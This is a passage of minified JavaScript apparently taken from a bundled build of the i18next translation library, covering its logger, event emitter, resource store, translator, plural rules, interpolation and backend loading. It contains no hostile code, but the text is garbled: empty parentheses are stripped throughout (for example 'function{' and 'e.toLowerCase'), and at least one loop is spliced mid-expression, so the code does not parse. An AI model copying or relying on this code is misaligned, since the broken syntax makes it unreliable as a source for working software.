undefined");return l(e)}function d(e){return d=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},d(e)}function u(e,t){return u=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},u(e,t)}function p(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&u(e,t)}var h={type:"logger",log:function(e){this.output("log",e)},warn:function(e){this.output("warn",e)},error:function(e){this.output("error",e)},output:function(e,t){console&&console[e]&&console[e].apply(console,t)}},f=new(function{function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};(0,a.Z)(this,e),this.init(t,n)}return(0,s.Z)(e,[{key:"init",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.prefix=t.prefix||"i18next:",this.logger=e||h,this.options=t,this.debug=t.debug}},{key:"setDebug",value:function(e){this.debug=e}},{key:"log",value:function{for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"log","",!0)}},{key:"warn",value:function{for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"warn","",!0)}},{key:"error",value:function{for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"error","")}},{key:"deprecate",value:function{for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"warn","WARNING DEPRECATED: ",!0)}},{key:"forward",value:function(e,t,n,i){return i&&!this.debug?null:("string"==typeof e[0]&&(e[0]="".concat(n).concat(this.prefix," ").concat(e[0])),this.logger[t](e))}},{key:"create",value:function(t){return new e(this.logger,o({},{prefix:"".concat(this.prefix,":").concat(t,":")},this.options))}}]),e}),g=function{function e{(0,a.Z)(this,e),this.observers={}}return(0,s.Z)(e,[{key:"on",value:function(e,t){var n=this;return e.split(" ").forEach((function(e){n.observers[e]=n.observers[e]||[],n.observers[e].push(t)})),this}},{key:"off",value:function(e,t){this.observers[e]&&(t?this.observers[e]=this.observers[e].filter((function(e){return e!==t})):delete this.observers[e])}},{key:"emit",value:function(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i-1?e.replace(/###/g,"."):e}function r{return!e||"string"==typeof e}for(var o="string"!=typeof t?[].concat(t):t.split(".");o.length>1;){if(r)return{};var a=i(o.shift);!e[a]&&n&&(e[a]=new n),e=Object.prototype.hasOwnProperty.call(e,a)?e[a]:{}}return r?{}:{obj:e,k:i(o.shift)}}function _(e,t,n){var i=y(e,t,Object);i.obj[i.k]=n}function b(e,t){var n=y(e,t),i=n.obj,r=n.k;if(i)return i[r]}function I(e,t,n){var i=b(e,n);return void 0!==i?i:b(t,n)}function C(e,t,n){for(var i in t)"__proto__"!==i&&"constructor"!==i&&(i in e?"string"==typeof e[i]||e[i]instanceof String||"string"==typeof t[i]||t[i]instanceof String?n&&(e[i]=t[i]):C(e[i],t[i],n):e[i]=t[i]);return e}function E(e){return e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")}var T={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#x2F;"};function w(e){return"string"==typeof e?e.replace(/[&<>"'\/]/g,(function(e){return T[e]})):e}var S="undefined"!=typeof window&&window.navigator&&window.navigator.userAgent&&window.navigator.userAgent.indexOf("MSIE")>-1,x=function(e){function t(e){var n,i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{ns:["translation"],defaultNS:"translation"};return(0,a.Z)(this,t),n=c(this,d(t).call(this)),S&&g.call(l(n)),n.data=e||{},n.options=i,void 0===n.options.keySeparator&&(n.options.keySeparator="."),n}return p(t,e),(0,s.Z)(t,[{key:"addNamespaces",value:function(e){this.options.ns.indexOf(e)<0&&this.options.ns.push(e)}},{key:"removeNamespaces",value:function(e){var t=this.options.ns.indexOf(e);t>-1&&this.options.ns.splice(t,1)}},{key:"getResource",value:function(e,t,n){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},r=void 0!==i.keySeparator?i.keySeparator:this.options.keySeparator,o=[e,t];return n&&"string"!=typeof n&&(o=o.concat(n)),n&&"string"==typeof n&&(o=o.concat(r?n.split(r):n)),e.indexOf(".")>-1&&(o=e.split(".")),b(this.data,o)}},{key:"addResource",value:function(e,t,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{silent:!1},o=this.options.keySeparator;void 0===o&&(o=".");var a=[e,t];n&&(a=a.concat(o?n.split(o):n)),e.indexOf(".")>-1&&(i=t,t=(a=e.split("."))[1]),this.addNamespaces(t),_(this.data,a,i),r.silent||this.emit("added",e,t,n,i)}},{key:"addResources",value:function(e,t,n){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{silent:!1};for(var r in n)"string"!=typeof n[r]&&"[object Array]"!==Object.prototype.toString.apply(n[r])||this.addResource(e,t,r,n[r],{silent:!0});i.silent||this.emit("added",e,t,n)}},{key:"addResourceBundle",value:function(e,t,n,i,r){var a=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{silent:!1},s=[e,t];e.indexOf(".")>-1&&(i=n,n=t,t=(s=e.split("."))[1]),this.addNamespaces(t);var l=b(this.data,s)||{};i?C(l,n,r):l=o({},l,n),_(this.data,s,l),a.silent||this.emit("added",e,t,n)}},{key:"removeResourceBundle",value:function(e,t){this.hasResourceBundle(e,t)&&delete this.data[e][t],this.removeNamespaces(t),this.emit("removed",e,t)}},{key:"hasResourceBundle",value:function(e,t){return void 0!==this.getResource(e,t)}},{key:"getResourceBundle",value:function(e,t){return t||(t=this.options.defaultNS),"v1"===this.options.compatibilityAPI?o({},{},this.getResource(e,t)):this.getResource(e,t)}},{key:"getDataByLanguage",value:function(e){return this.data[e]}},{key:"toJSON",value:function{return this.data}}]),t}(g),D={processors:{},addPostProcessor:function(e){this.processors[e.name]=e},handle:function(e,t,n,i,r){var o=this;return e.forEach((function(e){o.processors[e]&&(t=o.processors[e].process(t,n,i,r))})),t}},O={},R=function(e){function t(e){var n,i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return(0,a.Z)(this,t),n=c(this,d(t).call(this)),S&&g.call(l(n)),A(["resourceStore","languageUtils","pluralResolver","interpolator","backendConnector","i18nFormat","utils"],e,l(n)),n.options=i,void 0===n.options.keySeparator&&(n.options.keySeparator="."),n.logger=f.create("translator"),n}return p(t,e),(0,s.Z)(t,[{key:"changeLanguage",value:function(e){e&&(this.language=e)}},{key:"exists",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{interpolation:{}},n=this.resolve(e,t);return n&&void 0!==n.res}},{key:"extractFromKey",value:function(e,t){var n=void 0!==t.nsSeparator?t.nsSeparator:this.options.nsSeparator;void 0===n&&(n=":");var i=void 0!==t.keySeparator?t.keySeparator:this.options.keySeparator,r=t.ns||this.options.defaultNS;if(n&&e.indexOf(n)>-1){var o=e.match(this.interpolator.nestingRegexp);if(o&&o.length>0)return{key:e,namespaces:r};var a=e.split(n);(n!==i||n===i&&this.options.ns.indexOf(a[0])>-1)&&(r=a.shift),e=a.join(i)}return"string"==typeof r&&(r=[r]),{key:e,namespaces:r}}},{key:"translate",value:function(e,n,r){var a=this;if("object"!==i(n)&&this.options.overloadTranslationOptionHandler&&(n=this.options.overloadTranslationOptionHandler(arguments)),n||(n={}),null==e)return"";Array.isArray(e)||(e=[String(e)]);var s=void 0!==n.keySeparator?n.keySeparator:this.options.keySeparator,l=this.extractFromKey(e[e.length-1],n),c=l.key,d=l.namespaces,u=d[d.length-1],p=n.lng||this.language,h=n.appendNamespaceToCIMode||this.options.appendNamespaceToCIMode;if(p&&"cimode"===p.toLowerCase){if(h){var f=n.nsSeparator||this.options.nsSeparator;return u+f+c}return c}var g=this.resolve(e,n),m=g&&g.res,v=g&&g.usedKey||c,A=g&&g.exactUsedKey||c,y=Object.prototype.toString.apply(m),_=["[object Number]","[object Function]","[object RegExp]"],b=void 0!==n.joinArrays?n.joinArrays:this.options.joinArrays,I=!this.i18nFormat||this.i18nFormat.handleAsObject,C="string"!=typeof m&&"boolean"!=typeof m&&"number"!=typeof m;if(I&&m&&C&&_.indexOf(y)<0&&("string"!=typeof b||"[object Array]"!==y)){if(!n.returnObjects&&!this.options.returnObjects)return this.logger.warn("accessing an object - but returnObjects options is not enabled!"),this.options.returnedObjectHandler?this.options.returnedObjectHandler(v,m,n):"key '".concat(c," (").concat(this.language,")' returned an object instead of string.");if(s){var E="[object Array]"===y,T=E?[]:{},w=E?A:v;for(var S in m)if(Object.prototype.hasOwnProperty.call(m,S)){var x="".concat(w).concat(s).concat(S);T[S]=this.translate(x,o({},n,{joinArrays:!1,ns:d})),T[S]===x&&(T[S]=m[S])}m=T}}else if(I&&"string"==typeof b&&"[object Array]"===y)(m=m.join(b))&&(m=this.extendTranslation(m,e,n,r));else{var D=!1,O=!1,R=void 0!==n.count&&"string"!=typeof n.count,L=t.hasDefaultValue(n),P=R?this.pluralResolver.getSuffix(p,n.count):"",k=n["defaultValue".concat(P)]||n.defaultValue;!this.isValidLookup(m)&&L&&(D=!0,m=k),this.isValidLookup(m)||(O=!0,m=c);var M=L&&k!==m&&this.options.updateMissing;if(O||D||M){if(this.logger.log(M?"updateKey":"missingKey",p,u,c,M?k:m),s){var N=this.resolve(c,o({},n,{keySeparator:!1}));N&&N.res&&this.logger.warn("Seems the loaded translations were in flat JSON format instead of nested. Either set keySeparator: false on init or make sure your translations are published in nested format.")}var B=[],U=this.languageUtils.getFallbackCodes(this.options.fallbackLng,n.lng||this.language);if("fallback"===this.options.saveMissingTo&&U&&U[0])for(var F=0;F<U.length;F++)B.push(U[F]);else"all"===this.options.saveMissingTo?B=this.languageUtils.toResolveHierarchy(n.lng||this.language):B.push(n.lng||this.language);var j=function(e,t,i){a.options.missingKeyHandler?a.options.missingKeyHandler(e,u,t,M?i:m,M,n):a.backendConnector&&a.backendConnector.saveMissing&&a.backendConnector.saveMissing(e,u,t,M?i:m,M,n),a.emit("missingKey",e,u,t,m)};this.options.saveMissing&&(this.options.saveMissingPlurals&&R?B.forEach((function(e){a.pluralResolver.getSuffixes(e).forEach((function(t){j([e],c+t,n["defaultValue".concat(t)]||k)}))})):j(B,c,k))}m=this.extendTranslation(m,e,n,g,r),O&&m===c&&this.options.appendNamespaceToMissingKey&&(m="".concat(u,":").concat(c)),O&&this.options.parseMissingKeyHandler&&(m=this.options.parseMissingKeyHandler(m))}return m}},{key:"extendTranslation",value:function(e,t,n,i,r){var a=this;if(this.i18nFormat&&this.i18nFormat.parse)e=this.i18nFormat.parse(e,n,i.usedLng,i.usedNS,i.usedKey,{resolved:i});else if(!n.skipInterpolation){n.interpolation&&this.interpolator.init(o({},n,{interpolation:o({},this.options.interpolation,n.interpolation)}));var s,l=n.interpolation&&n.interpolation.skipOnVariables||this.options.interpolation.skipOnVariables;if(l){var c=e.match(this.interpolator.nestingRegexp);s=c&&c.length}var d=n.replace&&"string"!=typeof n.replace?n.replace:n;if(this.options.interpolation.defaultVariables&&(d=o({},this.options.interpolation.defaultVariables,d)),e=this.interpolator.interpolate(e,d,n.lng||this.language,n),l){var u=e.match(this.interpolator.nestingRegexp);s<(u&&u.length)&&(n.nest=!1)}!1!==n.nest&&(e=this.interpolator.nest(e,(function{for(var e=arguments.length,i=new Array(e),o=0;o<e;o++)i[o]=arguments[o];return r&&r[0]===i[0]&&!n.context?(a.logger.warn("It seems you are nesting recursively key: ".concat(i[0]," in key: ").concat(t[0])),null):a.translate.apply(a,i.concat([t]))}),n)),n.interpolation&&this.interpolator.reset}var p=n.postProcess||this.options.postProcess,h="string"==typeof p?[p]:p;return null!=e&&h&&h.length&&!1!==n.applyPostProcessor&&(e=D.handle(h,e,t,this.options&&this.options.postProcessPassResolved?o({i18nResolved:i},n):n,this)),e}},{key:"resolve",value:function(e){var t,n,i,r,o,a=this,s=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return"string"==typeof e&&(e=[e]),e.forEach((function(e){if(!a.isValidLookup(t)){var l=a.extractFromKey(e,s),c=l.key;n=c;var d=l.namespaces;a.options.fallbackNS&&(d=d.concat(a.options.fallbackNS));var u=void 0!==s.count&&"string"!=typeof s.count,p=void 0!==s.context&&"string"==typeof s.context&&""!==s.context,h=s.lngs?s.lngs:a.languageUtils.toResolveHierarchy(s.lng||a.language,s.fallbackLng);d.forEach((function(e){a.isValidLookup(t)||(o=e,!O["".concat(h[0],"-").concat(e)]&&a.utils&&a.utils.hasLoadedNamespace&&!a.utils.hasLoadedNamespace(o)&&(O["".concat(h[0],"-").concat(e)]=!0,a.logger.warn('key "'.concat(n,'" for languages "').concat(h.join(", "),'" won\'t get resolved as namespace "').concat(o,'" was not yet loaded'),"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!")),h.forEach((function(n){if(!a.isValidLookup(t)){r=n;var o,l,d=c,h=[d];if(a.i18nFormat&&a.i18nFormat.addLookupKeys)a.i18nFormat.addLookupKeys(h,c,n,e,s);else u&&(o=a.pluralResolver.getSuffix(n,s.count)),u&&p&&h.push(d+o),p&&h.push(d+="".concat(a.options.contextSeparator).concat(s.context)),u&&h.push(d+=o);for(l=h.pop;)a.isValidLookup(t)||(i=l,t=a.getResource(n,e,l,s))}})))}))}})),{res:t,usedKey:n,exactUsedKey:i,usedLng:r,usedNS:o}}},{key:"isValidLookup",value:function(e){return!(void 0===e||!this.options.returnNull&&null===e||!this.options.returnEmptyString&&""===e)}},{key:"getResource",value:function(e,t,n){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};return this.i18nFormat&&this.i18nFormat.getResource?this.i18nFormat.getResource(e,t,n,i):this.resourceStore.getResource(e,t,n,i)}}],[{key:"hasDefaultValue",value:function(e){var t="defaultValue";for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&t===n.substring(0,t.length)&&void 0!==e[n])return!0;return!1}}]),t}(g);function L(e){return e.charAt(0).toUpperCase+e.slice(1)}var P=function{function e(t){(0,a.Z)(this,e),this.options=t,this.whitelist=this.options.supportedLngs||!1,this.supportedLngs=this.options.supportedLngs||!1,this.logger=f.create("languageUtils")}return(0,s.Z)(e,[{key:"getScriptPartFromCode",value:function(e){if(!e||e.indexOf("-")<0)return null;var t=e.split("-");return 2===t.length?null:(t.pop,"x"===t[t.length-1].toLowerCase?null:this.formatLanguageCode(t.join("-")))}},{key:"getLanguagePartFromCode",value:function(e){if(!e||e.indexOf("-")<0)return e;var t=e.split("-");return this.formatLanguageCode(t[0])}},{key:"formatLanguageCode",value:function(e){if("string"==typeof e&&e.indexOf("-")>-1){var t=["hans","hant","latn","cyrl","cans","mong","arab"],n=e.split("-");return this.options.lowerCaseLng?n=n.map((function(e){return e.toLowerCase})):2===n.length?(n[0]=n[0].toLowerCase,n[1]=n[1].toUpperCase,t.indexOf(n[1].toLowerCase)>-1&&(n[1]=L(n[1].toLowerCase))):3===n.length&&(n[0]=n[0].toLowerCase,2===n[1].length&&(n[1]=n[1].toUpperCase),"sgn"!==n[0]&&2===n[2].length&&(n[2]=n[2].toUpperCase),t.indexOf(n[1].toLowerCase)>-1&&(n[1]=L(n[1].toLowerCase)),t.indexOf(n[2].toLowerCase)>-1&&(n[2]=L(n[2].toLowerCase))),n.join("-")}return this.options.cleanCode||this.options.lowerCaseLng?e.toLowerCase:e}},{key:"isWhitelisted",value:function(e){return this.logger.deprecate("languageUtils.isWhitelisted",'function "isWhitelisted" will be renamed to "isSupportedCode" in the next major - please make sure to rename it\'s usage asap.'),this.isSupportedCode(e)}},{key:"isSupportedCode",value:function(e){return("languageOnly"===this.options.load||this.options.nonExplicitSupportedLngs)&&(e=this.getLanguagePartFromCode(e)),!this.supportedLngs||!this.supportedLngs.length||this.supportedLngs.indexOf(e)>-1}},{key:"getBestMatchFromCodes",value:function(e){var t,n=this;return e?(e.forEach((function(e){if(!t){var i=n.formatLanguageCode(e);n.options.supportedLngs&&!n.isSupportedCode(i)||(t=i)}})),!t&&this.options.supportedLngs&&e.forEach((function(e){if(!t){var i=n.getLanguagePartFromCode(e);if(n.isSupportedCode(i))return t=i;t=n.options.supportedLngs.find((function(e){if(0===e.indexOf(i))return e}))}})),t||(t=this.getFallbackCodes(this.options.fallbackLng)[0]),t):null}},{key:"getFallbackCodes",value:function(e,t){if(!e)return[];if("function"==typeof e&&(e=e(t)),"string"==typeof e&&(e=[e]),"[object Array]"===Object.prototype.toString.apply(e))return e;if(!t)return e.default||[];var n=e[t];return n||(n=e[this.getScriptPartFromCode(t)]),n||(n=e[this.formatLanguageCode(t)]),n||(n=e[this.getLanguagePartFromCode(t)]),n||(n=e.default),n||[]}},{key:"toResolveHierarchy",value:function(e,t){var n=this,i=this.getFallbackCodes(t||this.options.fallbackLng||[],e),r=[],o=function(e){e&&(n.isSupportedCode(e)?r.push(e):n.logger.warn("rejecting language code not found in supportedLngs: ".concat(e)))};return"string"==typeof e&&e.indexOf("-")>-1?("languageOnly"!==this.options.load&&o(this.formatLanguageCode(e)),"languageOnly"!==this.options.load&&"currentOnly"!==this.options.load&&o(this.getScriptPartFromCode(e)),"currentOnly"!==this.options.load&&o(this.getLanguagePartFromCode(e))):"string"==typeof e&&o(this.formatLanguageCode(e)),i.forEach((function(e){r.indexOf(e)<0&&o(n.formatLanguageCode(e))})),r}}]),e},k=[{lngs:["ach","ak","am","arn","br","fil","gun","ln","mfe","mg","mi","oc","pt","pt-BR","tg","tl","ti","tr","uz","wa"],nr:[1,2],fc:1},{lngs:["af","an","ast","az","bg","bn","ca","da","de","dev","el","en","eo","es","et","eu","fi","fo","fur","fy","gl","gu","ha","hi","hu","hy","ia","it","kn","ku","lb","mai","ml","mn","mr","nah","nap","nb","ne","nl","nn","no","nso","pa","pap","pms","ps","pt-PT","rm","sco","se","si","so","son","sq","sv","sw","ta","te","tk","ur","yo"],nr:[1,2],fc:2},{lngs:["ay","bo","cgg","fa","ht","id","ja","jbo","ka","kk","km","ko","ky","lo","ms","sah","su","th","tt","ug","vi","wo","zh"],nr:[1],fc:3},{lngs:["be","bs","cnr","dz","hr","ru","sr","uk"],nr:[1,2,5],fc:4},{lngs:["ar"],nr:[0,1,2,3,11,100],fc:5},{lngs:["cs","sk"],nr:[1,2,5],fc:6},{lngs:["csb","pl"],nr:[1,2,5],fc:7},{lngs:["cy"],nr:[1,2,3,8],fc:8},{lngs:["fr"],nr:[1,2],fc:9},{lngs:["ga"],nr:[1,2,3,7,11],fc:10},{lngs:["gd"],nr:[1,2,3,20],fc:11},{lngs:["is"],nr:[1,2],fc:12},{lngs:["jv"],nr:[0,1],fc:13},{lngs:["kw"],nr:[1,2,3,4],fc:14},{lngs:["lt"],nr:[1,2,10],fc:15},{lngs:["lv"],nr:[1,2,0],fc:16},{lngs:["mk"],nr:[1,2],fc:17},{lngs:["mnk"],nr:[0,1,2],fc:18},{lngs:["mt"],nr:[1,2,11,20],fc:19},{lngs:["or"],nr:[2,1],fc:2},{lngs:["ro"],nr:[1,2,20],fc:20},{lngs:["sl"],nr:[5,1,2,3],fc:21},{lngs:["he","iw"],nr:[1,2,20,21],fc:22}],M={1:function(e){return Number(e>1)},2:function(e){return Number(1!=e)},3:function(e){return 0},4:function(e){return Number(e%10==1&&e%100!=11?0:e%10>=2&&e%10<=4&&(e%100<10||e%100>=20)?1:2)},5:function(e){return Number(0==e?0:1==e?1:2==e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5)},6:function(e){return Number(1==e?0:e>=2&&e<=4?1:2)},7:function(e){return Number(1==e?0:e%10>=2&&e%10<=4&&(e%100<10||e%100>=20)?1:2)},8:function(e){return Number(1==e?0:2==e?1:8!=e&&11!=e?2:3)},9:function(e){return Number(e>=2)},10:function(e){return Number(1==e?0:2==e?1:e<7?2:e<11?3:4)},11:function(e){return Number(1==e||11==e?0:2==e||12==e?1:e>2&&e<20?2:3)},12:function(e){return Number(e%10!=1||e%100==11)},13:function(e){return Number(0!==e)},14:function(e){return Number(1==e?0:2==e?1:3==e?2:3)},15:function(e){return Number(e%10==1&&e%100!=11?0:e%10>=2&&(e%100<10||e%100>=20)?1:2)},16:function(e){return Number(e%10==1&&e%100!=11?0:0!==e?1:2)},17:function(e){return Number(1==e||e%10==1&&e%100!=11?0:1)},18:function(e){return Number(0==e?0:1==e?1:2)},19:function(e){return Number(1==e?0:0==e||e%100>1&&e%100<11?1:e%100>10&&e%100<20?2:3)},20:function(e){return Number(1==e?0:0==e||e%100>0&&e%100<20?1:2)},21:function(e){return Number(e%100==1?1:e%100==2?2:e%100==3||e%100==4?3:0)},22:function(e){return Number(1==e?0:2==e?1:(e<0||e>10)&&e%10==0?2:3)}};function N{var e={};return k.forEach((function(t){t.lngs.forEach((function(n){e[n]={numbers:t.nr,plurals:M[t.fc]}}))})),e}var B=function{function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};(0,a.Z)(this,e),this.languageUtils=t,this.options=n,this.logger=f.create("pluralResolver"),this.rules=N}return(0,s.Z)(e,[{key:"addRule",value:function(e,t){this.rules[e]=t}},{key:"getRule",value:function(e){return this.rules[e]||this.rules[this.languageUtils.getLanguagePartFromCode(e)]}},{key:"needsPlural",value:function(e){var t=this.getRule(e);return t&&t.numbers.length>1}},{key:"getPluralFormsOfKey",value:function(e,t){return this.getSuffixes(e).map((function(e){return t+e}))}},{key:"getSuffixes",value:function(e){var t=this,n=this.getRule(e);return n?n.numbers.map((function(n){return t.getSuffix(e,n)})):[]}},{key:"getSuffix",value:function(e,t){var n=this,i=this.getRule(e);if(i){var r=i.noAbs?i.plurals(t):i.plurals(Math.abs(t)),o=i.numbers[r];this.options.simplifyPluralSuffix&&2===i.numbers.length&&1===i.numbers[0]&&(2===o?o="plural":1===o&&(o=""));var a=function{return n.options.prepend&&o.toString?n.options.prepend+o.toString:o.toString};return"v1"===this.options.compatibilityJSON?1===o?"":"number"==typeof o?"_plural_".concat(o.toString):a:"v2"===this.options.compatibilityJSON||this.options.simplifyPluralSuffix&&2===i.numbers.length&&1===i.numbers[0]?a:this.options.prepend&&r.toString?this.options.prepend+r.toString:r.toString}return this.logger.warn("no plural rule found for: ".concat(e)),""}}]),e},U=function{function e{var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};(0,a.Z)(this,e),this.logger=f.create("interpolator"),this.options=t,this.format=t.interpolation&&t.interpolation.format||function(e){return e},this.init(t)}return(0,s.Z)(e,[{key:"init",value:function{var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};e.interpolation||(e.interpolation={escapeValue:!0});var t=e.interpolation;this.escape=void 0!==t.escape?t.escape:w,this.escapeValue=void 0===t.escapeValue||t.escapeValue,this.useRawValueToEscape=void 0!==t.useRawValueToEscape&&t.useRawValueToEscape,this.prefix=t.prefix?E(t.prefix):t.prefixEscaped||"",this.formatSeparator=t.formatSeparator?t.formatSeparator:t.formatSeparator||",",this.unescapePrefix=t.unescapeSuffix?"":t.unescapePrefix||"-",this.unescapeSuffix=this.unescapePrefix?"":t.unescapeSuffix||"",this.nestingPrefix=t.nestingPrefix?E(t.nestingPrefix):t.nestingPrefixEscaped||E("$t("),this.nestingSuffix=t.nestingSuffix?E(t.nestingSuffix):t.nestingSuffixEscaped||E(")"),this.nestingOptionsSeparator=t.nestingOptionsSeparator?t.nestingOptionsSeparator:t.nestingOptionsSeparator||",",this.maxReplaces=t.maxReplaces?t.maxReplaces:1e3,this.alwaysFormat=void 0!==t.alwaysFormat&&t.alwaysFormat,this.resetRegExp}},{key:"reset",value:function{this.options&&this.init(this.options)}},{key:"resetRegExp",value:function{var e="".concat(this.prefix,"(.+?)").concat(this.suffix);this.regexp=new RegExp(e,"g");var t="".concat(this.prefix).concat(this.unescapePrefix,"(.+?)").concat(this.unescapeSuffix).concat(this.suffix);this.regexpUnescape=new RegExp(t,"g");var n="".concat(this.nestingPrefix,"(.+?)").concat(this.nestingSuffix);this.nestingRegexp=new RegExp(n,"g")}},{key:"interpolate",value:function(e,t,n,i){var r,o,a,s=this,l=this.options&&this.options.interpolation&&this.options.interpolation.defaultVariables||{};function c(e){return e.replace(/\$/g,"$$$$")}var d=function(e){if(e.indexOf(s.formatSeparator)<0){var r=I(t,l,e);return s.alwaysFormat?s.format(r,void 0,n):r}var o=e.split(s.formatSeparator),a=o.shift.trim,c=o.join(s.formatSeparator).trim;return s.format(I(t,l,a),c,n,i)};this.resetRegExp;var u=i&&i.missingInterpolationHandler||this.options.missingInterpolationHandler,p=i&&i.interpolation&&i.interpolation.skipOnVariables||this.options.interpolation.skipOnVariables;return[{regex:this.regexpUnescape,safeValue:function(e){return c(e)}},{regex:this.regexp,safeValue:function(e){return s.escapeValue?c(s.escape(e)):c(e)}}].forEach((function(t){for(a=0;r=t.regex.exec(e);){if(void 0===(o=d(r[1].trim)))if("function"==typeof u){var n=u(e,r,i);o="string"==typeof n?n:""}else{if(p){o=r[0];continue}s.logger.warn("missed to pass in variable ".concat(r[1]," for interpolating ").concat(e)),o=""}else"string"==typeof o||s.useRawValueToEscape||(o=v(o));if(e=e.replace(r[0],t.safeValue(o)),t.regex.lastIndex=0,++a>=s.maxReplaces)break}})),e}},{key:"nest",value:function(e,t){var n,i,r=this,a=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},s=o({},a);function l(e,t){var n=this.nestingOptionsSeparator;if(e.indexOf(n)<0)return e;var i=e.split(new RegExp("".concat(n,"[ ]*{"))),r="{".concat(i[1]);e=i[0],r=(r=this.interpolate(r,s)).replace(/'/g,'"');try{s=JSON.parse(r),t&&(s=o({},t,s))}catch(t){return this.logger.warn("failed parsing options string in nesting for key ".concat(e),t),"".concat(e).concat(n).concat(r)}return delete s.defaultValue,e}for(s.applyPostProcessor=!1,delete s.defaultValue;n=this.nestingRegexp.exec(e);){var c=[],d=!1;if(n[0].includes(this.formatSeparator)&&!/{.*}/.test(n[1])){var u=n[1].split(this.formatSeparator).map((function(e){return e.trim}));n[1]=u.shift,c=u,d=!0}if((i=t(l.call(this,n[1].trim,s),s))&&n[0]===e&&"string"!=typeof i)return i;"string"!=typeof i&&(i=v(i)),i||(this.logger.warn("missed to resolve ".concat(n[1]," for nesting ").concat(e)),i=""),d&&(i=c.reduce((function(e,t){return r.format(e,t,a.lng,a)}),i.trim)),e=e.replace(n[0],i),this.regexp.lastIndex=0}return e}}]),e};var F=function(e){function t(e,n,i){var r,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};return(0,a.Z)(this,t),r=c(this,d(t).call(this)),S&&g.call(l(r)),r.backend=e,r.store=n,r.services=i,r.languageUtils=i.languageUtils,r.options=o,r.logger=f.create("backendConnector"),r.state={},r.queue=[],r.backend&&r.backend.init&&r.backend.init(i,o.backend,o),r}return p(t,e),(0,s.Z)(t,[{key:"queueLoad",value:function(e,t,n,i){var r=this,o=[],a=[],s=[],l=[];return e.forEach((function(e){var i=!0;t.forEach((function(t){var s="".concat(e,"|").concat(t);!n.reload&&r.store.hasResourceBundle(e,t)?r.state[s]=2:r.state[s]<0||(1===r.state[s]?a.indexOf(s)<0&&a.push(s):(r.state[s]=1,i=!1,a.indexOf(s)<0&&a.push(s),o.indexOf(s)<0&&o.push(s),l.indexOf(t)<0&&l.push(t)))})),i||s.push(e)})),(o.length||a.length)&&this.queue.push({pending:a,loaded:{},errors:[],callback:i}),{toLoad:o,pending:a,toLoadLanguages:s,toLoadNamespaces:l}}},{key:"loaded",value:function(e,t,n){var i=e.split("|"),r=i[0],o=i[1];t&&this.emit("failedLoading",r,o,t),n&&this.store.addResourceBundle(r,o,n),this.state[e]=t?-1:2;var a={};this.queue.forEach((function(n){var i,s,l,c,d,u;i=n.loaded,s=o,c=y(i,[r],Object),d=c.obj,u=c.k,d[u]=d[u]||[],l&&(d[u]=d[u].concat(s)),l||d[u].push(s),function(e,t){for(var n=e.indexOf(t);-1!==n;)e.splice(n,1),n=e.indexOf(t)}(n.pending,e),t&&n.errors.push(t),0!==n.pending.length||n.done||(Object.keys(n.loaded).forEach((function(e){a[e]||(a[e]=[]),n.loaded[e].length&&n.loaded[e].forEach((function(t){a[e].indexOf(t)<0&&a[e].push(t)}))})),n.done=!0,n.errors.length?n.callback(n.errors):n.callback)})),this.emit("loaded",a),this.queue=this.queue.filter((function(e){return!e.done}))}},{key:"read",value:function(e,t,n){var i=this,r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:350,a=arguments.length>5?arguments[5]:void 0;return e.length?this.backend[n](e,t,(function(s,l){s&&l&&r<5?setTimeout((function{i.read.call(i,e,t,n,r+1,2*o,a)}),o):a(s,l)})):a(null,{})}},{key:"prepareLoading",value:function(e,t){var n=this,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3?arguments[3]:void 0;if(!this.backend)return this.logger.warn("No backend was added via i18next.use. Will not load resources."),r&&r;"string"==typeof e&&(e=this.languageUtils.toResolveHierarchy(e)),"string"==typeof t&&(t=[t]);var o=this.queueLoad(e,t,i,r);if(!o.toLoad.length)return o.pending.length||r,null;o.toLoad.forEach((function(e){n.loadOne(e)}))}},{key:"load",value:function(e,t,n){this.prepareLoading(e,t,{},n)}},{key:"reload",value:function(e,t,n){this.prepareLoading(e,t,{reload:!0},n)}},{key:"loadOne",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",i=e.split("|"),r=i[0],o=i[1];this.read(r,o,"read",void 0,void 